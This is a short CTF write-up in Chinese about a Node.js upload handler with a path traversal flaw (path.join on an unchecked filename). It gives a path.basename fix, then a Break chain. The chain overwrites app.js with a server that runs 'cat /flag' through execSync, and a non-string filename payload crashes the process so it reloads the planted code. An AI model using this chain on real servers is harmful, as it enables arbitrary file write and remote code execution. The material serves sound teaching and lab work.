大佬们太强了带带我行不行啊(

UpNodeTrap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (req.method === 'POST' && req.url === '/upload') {
let body = '';
req.on('data', chunk => {
body += chunk.toString();
});
req.on('end', () => {
let data;
try {
data = JSON.parse(body);
} catch {
return sendJSON(res, 400, { error: 'Request payload is not valid JSON.' });
}
const { filename, content } = data;
if (!filename || !content) {
return sendJSON(res, 400, { error: 'Missing required fields: filename or content.' });
}
const filePath = path.join(uploadsDir, filename);
fs.writeFile(filePath, content, err => {
if (err) {
return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
}
sendJSON(res, 200, {
status: 'Upload completed.',
location: filePath
});
});
});
}

Fix

成熟的 Web 开发一眼就看出来了问题在哪里.jpg

path.join() 会造成目录穿越,构建包含 ../ 的文件名就可以实现任意路径写。

直接用 path.basename(filename) 过滤即可:

1
2
3
- const filePath = path.join(uploadsDir, filename);
+ const safeFilename = path.basename(filename);
+ const filePath = path.join(uploadsDir, safeFilename);

Break

是赛后想出来的思路,不确定比赛环境能不能打。

既然题目说在某些特定的输入下会 Crash,那就构造这样的输入让 node 进程崩溃重启,进而加载我们想要的 js。

结合上面的任意文件写,可以直接覆盖 app.js 来让 node 加载自定义代码,在 app.js 中写一个 shell 监听 9999 端口,访问后直接返回 flag :

1
require('http').createServer((req, res) => { res.end(require('child_process').execSync("cat /flag"))}).listen(9999);

现在构建一个非法输入,当传入 filename 为 非字符串类型 的时候,会触发 TypeError:

1
TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received type number (1)

由于代码中没有对这种情况检查或进行错误捕获,传入下述 payload 可以直接使进程崩溃。

1
{ "filename": 1, "content": "1" }

理论上这题应该会重新把 node 拉起来,这时由于 node 执行的代码已经被我们替换,就可以直接访问题目端口获得 flag 了。